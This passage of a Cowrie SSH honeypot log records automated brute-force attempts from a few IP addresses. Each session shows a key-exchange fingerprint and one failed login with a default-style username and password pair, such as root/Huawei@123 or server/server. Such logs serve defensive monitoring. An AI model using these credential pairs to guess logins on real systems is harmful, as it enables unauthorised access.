{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:38.801910Z","src_ip":"192.109.200.78","session":"5a5f36820c0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:39.142282Z","src_ip":"192.109.200.78","session":"5a5f36820c0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:40.228094Z","src_ip":"192.109.200.78","session":"5a5f36820c0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":44050,"dst_ip":"159.203.135.109","dst_port":22,"session":"31da4acec49a","protocol":"ssh","message":"New connection: 176.65.139.95:44050 (159.203.135.109:22) [session: 31da4acec49a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.433279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.450118Z","src_ip":"176.65.139.95","session":"31da4acec49a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.519210Z","src_ip":"176.65.139.95","session":"31da4acec49a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43556,"dst_ip":"159.203.135.109","dst_port":22,"session":"106cb4d44791","protocol":"ssh","message":"New connection: 192.109.200.78:43556 (159.203.135.109:22) [session: 106cb4d44791]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.754746Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.759126Z","src_ip":"192.109.200.78","session":"106cb4d44791","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.841967Z","src_ip":"192.109.200.78","session":"106cb4d44791","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"private","password":"private","message":"login attempt [private/private] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:42.996714Z","src_ip":"176.65.139.95","session":"31da4acec49a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:43.093768Z","src_ip":"192.109.200.78","session":"106cb4d44791","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:44.097489Z","src_ip":"176.65.139.95","session":"31da4acec49a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:44.196322Z","src_ip":"192.109.200.78","session":"106cb4d44791","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":43564,"dst_ip":"159.203.135.109","dst_port":22,"session":"adf0b18c4baf","protocol":"ssh","message":"New connection: 192.109.200.78:43564 (159.203.135.109:22) [session: adf0b18c4baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:46.920512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:46.925212Z","src_ip":"192.109.200.78","session":"adf0b18c4baf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:47.007292Z","src_ip":"192.109.200.78","session":"adf0b18c4baf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:47.259260Z","src_ip":"192.109.200.78","session":"adf0b18c4baf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:48.344001Z","src_ip":"192.109.200.78","session":"adf0b18c4baf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52972,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f0ae8295d38","protocol":"ssh","message":"New connection: 176.65.139.95:52972 (159.203.135.109:22) [session: 6f0ae8295d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:49.296403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:49.395695Z","src_ip":"176.65.139.95","session":"6f0ae8295d38","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:49.403543Z","src_ip":"176.65.139.95","session":"6f0ae8295d38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:50.035034Z","src_ip":"176.65.139.95","session":"6f0ae8295d38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:51.120762Z","src_ip":"176.65.139.95","session":"6f0ae8295d38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46304,"dst_ip":"159.203.135.109","dst_port":22,"session":"162efd5f39e9","protocol":"ssh","message":"New connection: 192.109.200.78:46304 (159.203.135.109:22) [session: 162efd5f39e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:51.135382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:51.140379Z","src_ip":"192.109.200.78","session":"162efd5f39e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:51.229465Z","src_ip":"192.109.200.78","session":"162efd5f39e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"rdpuser","message":"login attempt [rdpuser/rdpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:51.485218Z","src_ip":"192.109.200.78","session":"162efd5f39e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:52.570314Z","src_ip":"192.109.200.78","session":"162efd5f39e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46314,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe2eda52feb0","protocol":"ssh","message":"New connection: 192.109.200.78:46314 (159.203.135.109:22) [session: fe2eda52feb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:55.493306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:55.497924Z","src_ip":"192.109.200.78","session":"fe2eda52feb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:55.586080Z","src_ip":"192.109.200.78","session":"fe2eda52feb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:55.836657Z","src_ip":"192.109.200.78","session":"fe2eda52feb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52986,"dst_ip":"159.203.135.109","dst_port":22,"session":"d0d540e17a51","protocol":"ssh","message":"New connection: 176.65.139.95:52986 (159.203.135.109:22) [session: d0d540e17a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:56.124938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:56.129981Z","src_ip":"176.65.139.95","session":"d0d540e17a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:56.226385Z","src_ip":"176.65.139.95","session":"d0d540e17a51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"******","message":"login attempt [ubuntu/******] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:56.575232Z","src_ip":"176.65.139.95","session":"d0d540e17a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:56.921299Z","src_ip":"192.109.200.78","session":"fe2eda52feb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51136,"dst_ip":"159.203.135.109","dst_port":22,"session":"67cbcf0460b8","protocol":"ssh","message":"New connection: 159.203.92.129:51136 (159.203.135.109:22) [session: 67cbcf0460b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:57.127593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:10:57.132300Z","src_ip":"159.203.92.129","session":"67cbcf0460b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-